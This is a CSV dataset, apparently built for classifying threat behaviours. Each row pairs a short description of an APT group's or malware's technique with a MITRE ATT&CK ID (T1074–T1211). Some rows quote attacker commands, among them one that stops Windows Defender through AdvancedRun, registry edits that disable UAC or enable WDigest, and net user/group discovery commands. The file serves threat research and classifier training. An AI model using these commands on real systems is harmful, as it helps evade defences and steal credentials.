"""Ramsay can stage data prior to exfiltration in """"%APPDATA%\Microsoft\UserSetting"""" and """"%APPDATA%\Microsoft\UserSetting\MediaCache"""".""",T1074.001
"""TRINITY malware used by FIN6 identifies payment card track data on the victim and then copies it to a local file in a subdirectory of """"C:\Windows\"""".""",T1074.001
Trojan.Karagany can create directories to store plugin output and stage data for exfiltration.,T1074.001
Night Dragon has copied files to company web servers and subsequently downloaded them.,T1074.002
APT33 has used valid accounts for initial access and privilege escalation.,T1078
APT39 has used stolen credentials to compromise Outlook Web Access (OWA).,T1078
APT41 used compromised credentials to log on to other systems.,T1078
Axiom has used previously compromised administrative accounts to escalate privileges.,T1078
Dragonfly has compromised user credentials and used valid accounts for operations.,T1078
"During Operation Wocao, threat actors used valid VPN credentials to gain initial access.",T1078
FIN8 has used valid accounts for persistence and lateral movement.,T1078
Lazarus Group has used administrator credentials to gain access to restricted network segments.,T1078
Linux Rabbit acquires valid SSH accounts through brute force.,T1078
"During Operation Wocao, threat actors used domain credentials, including domain admin, for lateral movement and privilege escalation.",T1078.002
Ryuk can use stolen domain admin accounts to move laterally within a victim domain.,T1078.002
"During Operation Wocao, threat actors used local account credentials found during the intrusion for lateral movement and privilege escalation.",T1078.003
HAFNIUM has used the NT AUTHORITY\SYSTEM account to create files on Exchange servers.,T1078.003
Operation Wocao has used local account credentials found during the intrusion for lateral movement and privilege escalation.,T1078.003
Turla has abused local accounts that have the same password across the victim's network.,T1078.003
Umbreon creates valid local users to provide access to the system.,T1078.003
LAPSUS$ has used compromised credentials to access cloud assets within a target organization.,T1078.004
"InvisiMole can replace legitimate software or documents in the compromised network with their trojanized versions, in an attempt to propagate itself within the network.",T1080
Miner-C copies itself into the public folder of Network Attached Storage (NAS) devices and infects new victims who open the file.,T1080
Stuxnet infects remote servers via network shares and by infecting WinCC database views with malicious code.,T1080
A system info module in CozyCar gathers information on the victim host's configuration.,T1082
APT18 can collect system information from the victim's machine.,T1082
"""APT29 used """"fsutil"""" to check available free space before executing actions that might create large files on disk.""",T1082
Backdoor.Oldrea collects information about the OS and computer name.,T1082
"Bankshot gathers system information, network addresses, disk type, disk free space, and the operation system version.",T1082
"BlackEnergy has used Systeminfo to gather the OS version, as well as information on the system configuration, BIOS, the motherboard, and the processor.",T1082
DEATHRANSOM can enumerate logical drives on a target system.,T1082
"During Frankenstein, the threat actors used Empire to obtain the compromised machine's name.",T1082
"During Operation Honeybee, the threat actors collected the computer name, OS, and other system information using `cmd /c systeminfo > %temp%\ temp.ini`.",T1082
"Dyre has the ability to identify the computer name, OS version, and hardware configuration on a compromised host.",T1082
"FatDuke can collect the user name, Windows version, computer name, and available space on discs from a compromised host.",T1082
"Felismus collects the system information, including hostname and OS version, and sends it to the C2 server.",T1082
FinFisher checks if the victim OS is 32 or 64-bit.,T1082
"Frankenstein has enumerated hosts, looking for the system's machine name.",T1082
Get2 has the ability to identify the computer name and Windows version of an infected host.,T1082
Grandoreiro can collect the computer name and OS version from a compromised host.,T1082
"HOPLIGHT has been observed collecting victim machine information like OS version, drivers, volume information and more.",T1082
"KEYMARBLE has the capability to collect the computer name, language settings, the OS version, CPU information, disk devices, and time elapsed since system start.",T1082
KOCTOPUS has checked the OS version using `wmic.exe` and the `find` command.,T1082
"""LightNeuron gathers the victim computer name using the Win32 API call """"GetComputerName"""".""",T1082
LiteDuke can enumerate the CPUID and BIOS version on a compromised system.,T1082
MURKYTOP has the capability to retrieve information about the OS.,T1082
Neoichor can collect the OS version and computer name from a compromised host.,T1082
"OopsIE checks for information on the CPU fan, temperature, mouse, hard disk, and motherboard as part of its anti-VM checks.",T1082
PLAINTEE collects general system enumeration data about the infected machine and checks the OS version.,T1082
"""POWRUNER may collect information about the system by running """"hostname"""" and """"systeminfo"""" on a victim.""",T1082
Pay2Key has the ability to gather the hostname of the victim machine.,T1082
"PowerDuke has commands to get information about the victim's name, build, version, serial number, and memory usage.",T1082
"Pupy can grab a system's information including the OS version, architecture, etc.",T1082
RCSession can gather system information from a compromised host.,T1082
Shamoon obtains the victim's operating system version and keyboard layout and sends the information to the C2 server.,T1082
Shark can collect the GUID of a targeted machine.,T1082
"""SpeakUp uses the """"cat /proc/cpuinfo | grep -c ""cpu family"" 2>&1"""" command to gather system information.""",T1082
"Stuxnet collects system information including computer and domain names, OS version, and S7P paths.",T1082
TURNEDUP is capable of gathering system information.,T1082
Torisma can use `GetlogicalDrives` to get a bitmask of all drives available on a compromised system. It can also use `GetDriveType` to determine if a new drive is a CD-ROM drive.,T1082
"Unknown Logger can obtain information about the victim computer name, physical memory, country, and date.",T1082
macOS.OSAMiner can gather the device serial number and has checked to ensure there is enough disk space using the Unix utility `df`.,T1082
zwShell can obtain the victim PC name and OS version.,T1082
APT18 can list files information for specific directories.,T1083
APT39 has used tools with the ability to search for files on a compromised host.,T1083
"An older version of CHOPSTICK has a module that monitors all mounted volumes for files with the extensions .doc, .docx, .pgp, .gpg, .m2f, or .m2o.",T1083
BADFLICK has searched for files on the infected host.,T1083
CreepyDrive can specify the local file path to upload files from.,T1083
Doki has resolved the path of a process PID to use as a script argument.,T1083
"During Operation CuckooBees, the threat actors used `dir c:\\` to search for files.",T1083
"During Operation Honeybee, the threat actors used a malicious DLL to search for files with specific keywords.",T1083
"During Operation Wocao, threat actors gathered a recursive directory listing to find files and directories of interest.",T1083
FruitFly looks for specific files and file types.,T1083
"HermeticWiper can enumerate common folders such as My Documents, Desktop, and AppData.",T1083
Metamorfo has searched the Program Files directories for specific folders and has searched for strings related to its mutexes.,T1083
"""MuddyWater has used malware that checked if the ProgramData folder had folders or files with the keywords """"Kasper,"""" """"Panda,"""" or """"ESET.""""""",T1083
NDiskMonitor can obtain a list of all files and directories as well as logical drives.,T1083
"""OSX/Shlayer has used the command """"appDir=""""$(dirname $(dirname """"$currentDir""""))"""""""" and """"$(dirname """"$(pwd -P)"""")"""" to construct installation paths.""",T1083
OwaAuth has a command to list its directory and logical drives.,T1083
PoshC2 can enumerate files on the local file system and includes a module for enumerating recently accessed files.,T1083
Proxysvc lists files in directories.,T1083
RTM can check for specific files and directories associated with virtualization and malware analysis.,T1083
RedLeaves can enumerate and search for files and directories.,T1083
Remcos can search for files on the infected machine.,T1083
TYPEFRAME can search directories for files on the victim's machine.,T1083
ThreatNeedle can obtain file and directory information.,T1083
"USBStealer searches victim drives for files matching certain extensions ("".skr"","".pkr"" or "".key"") or names.",T1083
"""APT32 enumerated administrative users and DC servers using the commands """"net localgroup administrators"""" and """"net group """"Domain Controllers"""" /domain"""".""",T1087
BloodHound can identify users with local administrator rights.,T1087.001
"""Comnie uses the """"net user"""" command.""",T1087.001
GeminiDuke collects information on local user accounts from the victim.,T1087.001
"Pupy uses PowerView and Pywerview to perform discovery commands such as net user, net group, net local group, etc.",T1087.001
The discovery modules used with Duqu can collect information on accounts and permissions.,T1087.001
"""Threat Group-3390 has used """"net user"""" to conduct internal discovery of systems.""",T1087.001
Valak has the ability to enumerate local admin accounts.,T1087.001
"""admin@338 actors used the following commands following exploitation of a machine with LOWBALL malware to enumerate user accounts: """"net user >> %temp%\download"""" """"net user /domain >> %temp%\download""""""",T1087.001
"""Chimera has has used """"net user /dom"""" and """"net user Administrator"""" to enumerate domain accounts including administrator accounts.""",T1087.002
Cobalt Strike can determine if the user on an infected machine is in the admin or domain admin group.,T1087.002
"""Sykipot may use """"net group """"domain admins"""" /domain"""" to display accounts in the """"domain admins"""" permissions group and """"net localgroup """"administrators"""""""" to list local system administrator group membership.""",T1087.002
"Wizard Spider has identified domain admins through the use of ""net group 'Domain admins'"" commands.",T1087.002
Grandoreiro can parse Outlook .pst files to extract e-mail addresses.,T1087.003
"Sandworm Team used malware to enumerate email settings, including usernames and passwords, from the M.E.Doc application.",T1087.003
TA505 has used the tool EmailStealer to steal and send lists of e-mail addresses to a remote server.,T1087.003
AuditCred can utilize proxy for communications.,T1090
"Blue Mockingbird has used frp, ssf, and Venom to establish SOCKS proxy connections.",T1090
FunnyDream can identify and use configured proxies in a compromised network for C2 communication.,T1090
Socksbot can start SOCKS proxy threads.,T1090
TSCookie has the ability to proxy communications with command and control (C2) servers.,T1090
"During Operation Wocao, threat actors proxied traffic through multiple infected systems.",T1090.001
"InvisiMole can function as a proxy to create a server that relays communication between the client and C&C server, or between two clients.",T1090.001
Stuxnet installs an RPC server for P2P communications.,T1090.001
InvisiMole InvisiMole can identify proxy servers used by the victim and use them for C2 communication.,T1090.002
Kobalos can chain together multiple compromised machines as proxies to reach their final targets.,T1090.003
QakBot has the ability to use removable drives to spread through compromised networks.,T1091
Tropic Trooper has attempted to transfer USBferry from an infected USB device by copying an Autorun function to the target machine.,T1091
APT28 uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted.,T1092
"Part of APT28's operation involved using CHOPSTICK modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.",T1092
APT29 has used TCP for C2 communications.,T1095
Bisonal has used raw sockets for network communication.,T1095
Clambling has the ability to use TCP and UDP for communication.,T1095
"During Operation Wocao, threat actors used a custom protocol for command and control.",T1095
HiddenWasp communicates with a simple network protocol over TCP.,T1095
InvisiMole has used TCP to download additional modules.,T1095
Operation Wocao has used a custom protocol for command and control.,T1095
PlugX can be configured to use raw TCP or UDP for command and control.,T1095
QakBot has the ability use TCP to send or receive C2 packets.,T1095
RARSTONE uses SSL to encrypt its communication with its C2 server.,T1095
The PipeMon communication module can use a custom protocol based on TLS over TCP.,T1095
The Regin malware platform can use ICMP to communicate between infected computers.,T1095
WellMail can use TCP for C2 communications.,T1095
Calisto adds permissions and remote logins to all users.,T1098
Dragonfly 2.0 added newly created accounts to the administrators group to maintain elevated access.,T1098
SMOKEDHAM has added created user accounts to local Admin groups.,T1098
LAPSUS$ has added the global admin role to accounts they have created in the targeted organization's cloud instances.,T1098.003
Carbon can use Pastebin to receive C2 commands.,T1102
GuLoader has the ability to download malware from Google Drive.,T1102
Hildegard has downloaded scripts from GitHub.,T1102
"APT41 used legitimate websites for C2 through dead drop resolvers (DDR), including GitHub, Pastebin, and Microsoft TechNet.",T1102.001
Grandoreiro can obtain C2 information from Google Docs.,T1102.001
Metamorfo has used YouTube to store and hide C&C server domains.,T1102.001
Rocke has used Pastebin to check the version of beaconing malware and redirect to another Pastebin hosting updated malware.,T1102.001
Magic Hound malware can use a SOAP Web service to communicate with its C2 server.,T1102.002
POLONIUM has used OneDrive and DropBox for C2.,T1102.002
"After initial compromise, Chaos will download a second stage to establish a more permanent presence on the affected system.",T1104
"An APT3 downloader first establishes a SOCKS5 connection to 192.157.198[.]103 using TCP port 1913; once the server response is verified, it then requests a connection to 192.184.60[.]229 on TCP port 81.",T1104
ABK has the ability to download files from C2.,T1105
"APT28 has downloaded additional files, including by using a first-stage downloader to contact the C2 server to obtain the second-stage implant.",T1105
APT32 has added JavaScript to victim websites to download additional frameworks that profile and compromise website visitors.,T1105
"After downloading its main config file, Downdelph downloads multiple payloads from C2 servers.",T1105
Agent Tesla can download additional files for execution on the victim's machine.,T1105
Anchor can download additional payloads.,T1105
Aquatic Panda has downloaded additional malware onto compromised hosts.,T1105
Avenger has the ability to download files from C2 to a compromised host.,T1105
BackConfig can download and execute additional payloads on a compromised host.,T1105
Bandook can download files to the system.,T1105
Bonadan can download additional modules from the C2 server.,T1105
CARROTBAT has the ability to download and execute a remote file via certutil.,T1105
Cardinal RAT can download and execute additional payloads.,T1105
Crimson contains a command to retrieve files from its C2 server.,T1105
DRATzarus can deploy additional tools onto an infected machine.,T1105
Daserf can download remote files.,T1105
Dipsind can download remote files.,T1105
Dragonfly 2.0 copied and installed tools for operations once in the victim environment.,T1105
"During C0010, UNC3890 actors downloaded tools and malware onto a compromised host.",T1105
"During Operation Honeybee, the threat actors downloaded additional malware and malicious scripts onto a compromised host.",T1105
"During Operation Wocao, threat actors downloaded additional files to the infected system.",T1105
EVILNUM can download and upload files to the victim's computer.,T1105
FlawedAmmyy can transfer files from C2.,T1105
FoggyWeb can receive additional malicious components from an actor controlled C2 server and execute them on a compromised AD FS server.,T1105
HOPLIGHT has the ability to connect to a remote host in order to upload and download files.,T1105
Hi-Zor has the ability to upload and download files from its C2 server.,T1105
Industroyer downloads a shellcode payload from a remote C2 server and loads it into memory.,T1105
Kerrdown can download specific payloads to a compromised host based on OS architecture.,T1105
Kivars has the ability to download and execute files.,T1105
LiteDuke has the ability to download files.,T1105
"Lizar can download additional plugins, files, and tools.",T1105
Lokibot downloaded several staged items onto the victim's machine.,T1105
NavRAT can download files remotely.,T1105
Octopus can download additional files and tools onto the victim's machine.,T1105
"Okrum has built-in commands for uploading, downloading, and executing files to the system.",T1105
QuasarRAT can download files to the victim's machine and execute them.,T1105
Remsec contains a network loader to receive executable modules from remote attackers and run them on the local victim. It can also upload and download files over HTTP and HTTPS.,T1105
SEASHARPEE can download remote files onto victims.,T1105
SHARPSTATS has the ability to upload and download files.,T1105
"Sandworm Team has pushed additional malicious tools onto an infected system to steal user credentials, move laterally, and destroy data.",T1105
Smoke Loader downloads a new version of itself once it has installed. It also downloads additional plugins.,T1105
SombRAT has the ability to download and execute additional payloads.,T1105
TDTESS has a command to download and execute an additional file.,T1105
WhisperGate can download additional stages of malware from a Discord CDN channel.,T1105
Xbash can download additional malicious files from its C2 server.,T1105
"Zebrocy obtains additional code to execute on the victim's machine, including the downloading of a secondary payload.",T1105
Zox can download files to a compromised machine.,T1105
jRAT can download and execute files.,T1105
macOS.OSAMiner has used `curl` to download a Stripped Payloads from a public facing adversary-controlled webpage.,T1105
ADVSTORESHELL is capable of starting a process using CreateProcess.,T1106
Bad Rabbit has used various Windows API calls.,T1106
Bazar can use various APIs to allocate memory and facilitate code execution/injection.,T1106
Carberp has used the NtQueryDirectoryFile and ZwQueryDirectoryFile functions to hide files and directories.,T1106
"CostaBricks has used a number of API calls, including `VirtualAlloc`, `VirtualFree`, `LoadLibraryA`, `GetProcAddress`, and `ExitProcess`.",T1106
Cyclops Blink can use various Linux API functions including those for execution and discovery.,T1106
DRATzarus can use various API calls to see if it is running in a sandbox.,T1106
"During Operation Sharpshooter, the first stage downloader resolved various Windows libraries and APIs, including `LoadLibraryA()`, `GetProcAddress()`, and `CreateProcessA()`.",T1106
Imminent Monitor has leveraged CreateProcessW() call to execute the debugger.,T1106
InnaputRAT uses the API call ShellExecuteW for execution.,T1106
Kevin can use the `ShowWindow` API to avoid detection.,T1106
Mosquito leverages the CreateProcess() and LoadLibrary() calls to execute files with the .dll and .exe extensions.,T1106
Operation Wocao has used the CreateProcessA and ShellExecute API function to launch commands after being injected into a selected process.,T1106
"PlugX can use the Windows API functions `GetProcAddress`, `LoadLibrary`, and `CreateProcess` to execute another process.",T1106
RDFSNIFFER has used several Win32 API functions to interact with the victim machine.,T1106
StrifeWater can use a variety of APIs for execution.,T1106
TA505 has deployed payloads that use Windows API calls on a compromised host.,T1106
"""Taidoor has the ability to use native APIs for execution including """"GetProcessHeap"""", """"GetProcAddress"""", and """"LoadLibrary"""".""",T1106
"TinyTurla has used `WinHTTP`, `CreateProcess`, and other APIs for C2 communications and other functions.",T1106
"""TrickBot uses the Windows API call, CreateProcessW(), to manage execution flow. TrickBot has also used """"Nt"""" API functions to perform Process Injection.""",T1106
"Tropic Trooper has used multiple Windows APIs including HttpInitialize, HttpCreateHttpHandle, and HttpAddUrl.",T1106
XAgentOSX contains the execFile function to execute a specified file on the system using the NSTask:launch method.,T1106
njRAT has used the ShellExecute() function within a script.,T1106
APT28 can perform brute force attacks to obtain credentials.,T1110
CrackMapExec can brute force supplied user credentials across a network range.,T1110
"""Turla may attempt to connect to systems within a victim's network using """"net use"""" commands and a predefined list or collection of passwords.""",T1110
MailSniper can be used for password spraying against Exchange and Office 365.,T1110.003
APT38 uses a tool called CLEANTOAD that has the capability to modify Registry keys.,T1112
Avaddon modifies several registry keys for persistence and UAC bypass.,T1112
Bisonal has deleted Registry keys to clean up its prior activity.,T1112
CHOPSTICK may store RC4 encrypted configuration information in the Windows Registry.,T1112
Catchamas creates three Registry keys to establish persistence by adding a Windows Service.,T1112
"""Cobalt Strike can modify Registry values within """"HKEY_CURRENT_USER\Software\Microsoft\Office\\Excel\Security\AccessVBOM\"""" to enable the execution of additional code.""",T1112
"""DarkComet adds a Registry value for its installation routine to the Registry Key """"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System Enable LUA=""0"""""" and """"HKEY_CURRENT_USER\Software\DC3_FEXEC"""".""",T1112
"During Operation Wocao, the threat actors enabled Wdigest by changing the `HKLM\SYSTEM\\ControlSet001\\Control\\SecurityProviders\\WDigest` registry value from 0 (disabled) to 1 (enabled).",T1112
Lazarus Group has modified registry keys using the reg windows utility for its custom backdoor implants.,T1112
Pandora can write an encrypted token to the Registry to enable processing of remote commands.,T1112
"Pysa has modified the registry key ""SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" and added the ransom note.",T1112
QUADAGENT modifies an HKCU Registry key to store a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications.,T1112
RCSession can write its configuration file to the Registry.,T1112
StreamEx has the ability to modify the Registry.,T1112
Stuxnet can create registry keys to load driver files.,T1112
TEARDROP modified the Registry to create a Windows service for itself on a compromised host.,T1112
ZxShell can create Registry entries to enable services to run.,T1112
CHOPSTICK has the capability to capture screenshots.,T1113
Carberp can capture display screenshots with the screens_dll.dll plugin.,T1113
Flame can take regular screenshots when certain applications are open that are sent to the command and control server.,T1113
Gamaredon Group's malware can take screenshots of the compromised computer every minute.,T1113
Magic Hound malware can take a screenshot and upload the file to its C2 server.,T1113
MarkiRAT can capture screenshots that are initially saved as 'scr.jpg'.,T1113
Octopus can capture screenshots of the victims' machine.,T1113
POWERSTATS can retrieve screenshots from compromised hosts.,T1113
PlugX allows the operator to capture screenshots.,T1113
"""PowerSploit's """"Get-TimedScreenshot"""" Exfiltration module can take screenshots at regular intervals.""",T1113
RainyDay has the ability to capture screenshots.,T1113
StrifeWater has the ability to take screen captures.,T1113
Zeus Panda can take screenshots of the victim's machine.,T1113
Dragonfly leveraged Outlook Web Access.,T1114
KGH_SPY can harvest data from mail clients.,T1114.001
"APT1 uses two utilities, GETMAIL and MAPIGET, to steal email. MAPIGET steals email still on Exchange servers that has not yet been archived.",T1114.002
Dragonfly has accessed email accounts using Outlook Web Access.,T1114.002
Astaroth collects information from the clipboard by using the OpenClipboard() and GetClipboardData() libraries.,T1115
Grandoreiro can capture clipboard data from a compromised host.,T1115
Koadic can retrieve the current content of the user clipboard.,T1115
RTM collects data from the clipboard.,T1115
TajMahal has the ability to steal data from the clipboard of an infected host.,T1115
Zeus Panda can hook GetClipboardData function to watch for clipboard pastes to collect.,T1115
LightNeuron can be configured to automatically collect files under a specified directory.,T1119
Proxysvc automatically collects data about the victim and sends it to the control server.,T1119
ROADTools automatically gathers data from Azure AD environments using the Azure Graph API.,T1119
Rover automatically collects files from the local system and removable drives based on a predefined list of file extensions on a regular timeframe.,T1119
"T9000 searches removable storage devices for files with a pre-defined list of file extensions (e.g. .doc, .ppt, .xls, .docx, .pptx, .xlsx). Any matching files are encrypted and written to a local user directory.",T1119
A module in Prikormka collects information on available printers and disk drives.,T1120
Machete detects the insertion of new devices by listening for the WM_DEVICECHANGE window message.,T1120
Turian can scan for removable media to collect data.,T1120
Bandook has modules that are capable of capturing audio.,T1123
Micropsia can perform microphone recording.,T1123
A Destover-like implant used by Lazarus Group can obtain the current system time and send it to the C2 server.,T1124
Agent Tesla can collect the timestamp from the victim's machine.,T1124
Azorult can collect the time zone information from the system.,T1124
Bazar can collect the time on the compromised host.,T1124
Cannon can collect the current time zone information from the victim's machine.,T1124
"EvilBunny has used the API calls NtQuerySystemTime, GetSystemTimeAsFileTime, and GetTickCount to gather time metrics as part of its checks to see if the malware is running in a sandbox.",T1124
"""Operation Wocao has used the """"time"""" command to retrieve the current time of a compromised system.""",T1124
ShadowPad has collected the current date and time of the victim system.,T1124
Shamoon obtains the system time and will only activate if it is greater than a preset date.,T1124
TajMahal has the ability to determine local time on a compromised host.,T1124
"""The """"net time"""" command can be used in Net to determine the local or remote system time.""",T1124
Torisma can collect the current time on a victim machine.,T1124
Zeus Panda collects the current system time (UTC) and sends it back to the C2 server.,T1124
Machete takes photos from the computer's web camera.,T1125
Pupy can access a connected webcam and capture pictures.,T1125
Silence has been observed making videos of victims to observe bank employees day to day activities.,T1125
njRAT can access the victim's webcam.,T1125
A Lazarus Group malware sample encodes data with base64.,T1132.001
CORESHELL C2 messages are Base64-encoded.,T1132.001
"Cobalt Strike can use Base64, URL-safe Base64, or NetBIOS encoding in its C2 traffic.",T1132.001
Flagpro has encoded bidirectional data communications between a target system and C2 server using Base64.,T1132.001
Revenge RAT uses Base64 to encode information sent to the C2 server.,T1132.001
S-Type uses Base64 encoding for C2 traffic.,T1132.001
Saint Bot has used Base64 to encode its C2 communications.,T1132.001
Spark has encoded communications with the C2 server with base64.,T1132.001
SpeakUp encodes C&C communication using Base64.,T1132.001
Torisma has encoded C2 communications with Base64.,T1132.001
Bankshot encodes commands from the control server using a range of characters and gzip.,T1132.002
"FIN5 has used legitimate VPN, Citrix, or VNC credentials to maintain access to a victim environment.",T1133
Hildegard was executed through an unsecure kubelet that allowed anonymous access to the victim environment.,T1133
Wizard Spider has accessed victim networks by using stolen credentials to access the corporate VPN infrastructure.,T1133
"""Cuba has used """"SeDebugPrivilege"""" and """"AdjustTokenPrivileges"""" to elevate privileges.""",T1134
PoshC2 can use Invoke-TokenManipulation for manipulating tokens.,T1134
FIN8 has used a malicious framework designed to impersonate the lsass.exe/vmtoolsd.exe token.,T1134.001
"""The WhisperGate third stage can use the AdvancedRun.exe tool to execute commands in the context of the Windows TrustedInstaller group via `%TEMP%\AdvancedRun.exe"""" /EXEFilename """"C:\Windows\System32\sc.exe"""" /WindowState 0 /CommandLine """"stop WinDefend"""" /StartDirectory """""""" /RunAs 8 /Run`.""",T1134.002
PipeMon can use parent PID spoofing to elevate privileges.,T1134.004
Babuk has the ability to enumerate network shares.,T1135
Bad Rabbit enumerates open SMB shares on internal victim networks.,T1135
"""BitPaymer can search for network shares on the domain or workgroup using """"net view """".""",T1135
CrackMapExec can enumerate the shared folders and associated permissions for a targeted network.,T1135
"Dragonfly has identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.",T1135
"Dragonfly identified and browsed file servers on the victim network, viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.",T1135
"During C0015, the threat actors executed the PowerView ShareFinder module to identify open shares.",T1135
Flagpro has been used to execute `net view` to discover mapped network shares.,T1135
Operation Wocao has discovered network disks mounted to the system using netstat.,T1135
Ramsay can scan for network drives which may contain documents for collection.,T1135
Empire has a module for creating a local user if permissions allow.,T1136.001
GALLIUM created high-privileged domain user accounts to maintain access to victim networks.,T1136.002
AADInternals can create new Azure AD users.,T1136.003
A OilRig macro has run a PowerShell command to decode file contents. OilRig has also used certutil to decode base64-encoded files on victims.,T1140
Action RAT can use Base64 to decode actor-controlled C2 server communications.,T1140
"After checking for the existence of two files, keyword_parm.txt and parm.txt, MESSAGETAP XOR decodes and read the contents of the files.",T1140
BendyBear has decrypted function blocks using a XOR key during runtime to evade detection.,T1140
CostaBricks has the ability to use bytecode to decrypt embedded payloads.,T1140
DanBot can use a VBA macro to decode its payload prior to installation and execution.,T1140
Dyre decrypts resources needed for targeting the victim.,T1140
FIVEHANDS has the ability to decrypt its payload prior to execution.,T1140
Final1stspy uses Python code to deobfuscate base64-encoded strings.,T1140
KONNI has used certutil to download and decode base64 encoded strings and has also devoted a custom section to performing all the components of the deobfuscation process.,T1140
Lizar can decrypt its configuration data.,T1140
LookBack has a function that decrypts malicious data.,T1140
MegaCortex has used a Base64 key to decode its components.,T1140
More_eggs will decode malware components that are then dropped to the system.,T1140
POWERSTATS can deobfuscate the main backdoor code.,T1140
PingPull can decrypt received data from its C2 server by using AES.,T1140
PolyglotDuke can use a custom algorithm to decrypt strings used by the malware.,T1140
RainyDay can decrypt its payload via a XOR key.,T1140
SQLRat has scripts that are responsible for deobfuscating additional scripts.,T1140
Shamoon decrypts ciphertext using an XOR cipher and a base64-encoded string.,T1140
Shark can extract and decrypt downloaded .zip files.,T1140
"""Siloscape has decrypted the password of the C2 server with a simple byte by byte XOR. Siloscape also writes both an archive of Tor and the """"unzip"""" binary to disk from data embedded within the payload using Visual Studio's Resource Manager.""",T1140
Stuxnet decrypts resources that are loaded into memory and executed.,T1140
WarzoneRAT can use XOR 0x45 to decrypt obfuscated code.,T1140
ZxxZ has used a XOR key to decrypt strings.,T1140
Stolen Pencil victims are prompted to install malicious Google Chrome extensions which gave the threat actor the ability to read data from any website accessed.,T1176
Grandoreiro can monitor browser activity for online banking actions and display full-screen overlay images to block user access to the intended site or present additional data fields.,T1185
Melcoz can monitor the victim's browser for online banking sessions and display an overlay window to manipulate the session in the background.,T1185
"""RTM has distributed its malware via the RIG and SUNDOWN exploit kits, as well as online advertising network """"Yandex.Direct"""".""",T1189
"Transparent Tribe has used websites with malicious hyperlinks and iframes to infect targeted victims with Crimson, njRAT, and other malicious tools.",T1189
"During Night Dragon, threat actors used SQL injection exploits against extranet web servers to gain access.",T1190
GALLIUM exploited a publicly-facing servers including Wildfly/JBoss servers to gain access to the network.,T1190
Siloscape is executed after the attacker gains initial access to a Windows container using a known vulnerability.,T1190
"ZxShell has been dropped through exploitation of CVE-2011-2462, CVE-2013-3163, and CVE-2014-0322.",T1190
UNC2452 gained initial network access via a trojanized update of SolarWinds Orion software.,T1195.002
Bazar has been downloaded via Windows BITS functionality.,T1197
Threat Group-3390 has compromised third party service providers to gain access to victim's environments.,T1199
menuPass has used legitimate access granted to Managed Service Providers in order to access victims of interest.,T1199
CrackMapExec can discover the password policies applied to the target system.,T1201
"Andariel has exploited numerous ActiveX vulnerabilities, including zero-days.",T1203
"BlackTech has exploited multiple vulnerabilities for execution, including Microsoft Office vulnerabilities CVE-2012-0158, CVE-2014-6352, CVE-2017-0199, and Adobe Flash CVE-2015-5119.",T1203
Darkhotel has exploited Adobe Flash vulnerability CVE-2015-8651 for execution.,T1203
DealersChoice leverages vulnerable versions of Flash to perform execution.,T1203
Higaisa has exploited CVE-2018-0798 for execution.,T1203
Sidewinder has exploited vulnerabilities to gain execution including CVE-2017-11882 and CVE-2020-0674.,T1203
"Xbash can attempt to exploit known vulnerabilities in Hadoop, Redis, or ActiveMQ when it finds those services running in order to conduct further execution.",T1203
APT28 has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.,T1204.001
BackConfig has compromised victims via links to URLs hosting malicious content.,T1204.001
BlackTech has used e-mails with malicious links to lure victims into installing malware.,T1204.001
Bumblebee has relied upon a user downloading a file from a OneDrive link for execution.,T1204.001
"During C0011, Transparent Tribe relied on student targets to click on a malicious link sent via email.",T1204.001
"During Operation Dust Storm, the threat actors relied on a victim clicking on a malicious link sent via email.",T1204.001
Emotet has relied upon users clicking on a malicious link delivered through spearphishing.,T1204.001
FIN8 has used emails with malicious links to lure victims into installing malware.,T1204.001
"TA505 has used lures to get users to click links in emails and attachments. For example, TA505 makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files.",T1204.001
APT19 attempted to get users to launch malicious attachments delivered via spearphishing emails.,T1204.002
APT33 has used malicious e-mail attachments to lure victims into executing malware.,T1204.002
Andariel has attempted to lure victims into enabling malicious macros within email attachments.,T1204.002
BADFLICK has relied upon users clicking on a malicious attachment delivered through spearphishing.,T1204.002
Bandook has used lure documents to convince the user to enable macros.,T1204.002
Chaes requires the user to click on the malicious Word document to execute the next part of the attack.,T1204.002
Darkhotel has sent spearphishing emails in an attempt to lure users into clicking on a malicious attachments.,T1204.002
Dragonfly 2.0 has used various forms of spearphishing in attempts to get users to open attachments.,T1204.002
"During C0015, the threat actors relied on users to enable macros within a malicious Microsoft Word document.",T1204.002
"During Frankenstein, the threat actors relied on a victim to enable macros within a malicious Microsoft Word document likely sent via email.",T1204.002
"During Operation Honeybee, threat actors relied on a victim to enable macros within a malicious Word document.",T1204.002
Flagpro has relied on users clicking a malicious attachment delivered through spearphishing.,T1204.002
HEXANE has relied on victim's executing malicious file attachments delivered via email or embedded within actor-controlled websites to deliver malware.,T1204.002
"Hancitor has used malicious Microsoft Word documents, sent via email, which prompted the victim to enable macros.",T1204.002
Inception lured victims into clicking malicious files for machine reconnaissance and to execute malware.,T1204.002
KOCTOPUS has relied on victims clicking a malicious document for execution.,T1204.002
Machete has relied on users opening malicious attachments delivered through spearphishing to execute malware.,T1204.002
PLEAD has been executed via malicious e-mail attachments.,T1204.002
ROKRAT has relied upon users clicking on a malicious attachment delivered through spearphishing.,T1204.002
SYSCON has been executed by luring victims to open malicious e-mail attachments.,T1204.002
Sharpshooter has sent malicious DOC and PDF files to targets so that they can be opened by a user.,T1204.002
SideCopy has attempted to lure victims into clicking on malicious embedded archive files sent via spearphishing campaigns.,T1204.002
The GuLoader executable has been retrieved via embedded macros in malicious Word documents.,T1204.002
Transparent Tribe has used weaponized documents in e-mail to compromise targeted systems.,T1204.002
TrickBot has attempted to get users to launch malicious documents to deliver its payload.,T1204.002
Valak has been executed via Microsoft Word documents containing malicious macros.,T1204.002
Whitefly has used malicious .exe or .dll files disguised as documents or images.,T1204.002
"Chaos provides a reverse shell is triggered upon receipt of a packet with a special string, sent to any port.",T1205
"""Penquin will connect to C2 only after sniffing a """"magic packet"""" value in TCP or UDP packets matching specific conditions.""",T1205
"TrickBot utilizes EternalBlue and EternalRomance exploits for lateral movement in the modules wormwinDll, wormDll, mwormDll, nwormDll, tabDll.",T1210
APT28 has used CVE-2015-4902 to bypass security features.,T1211
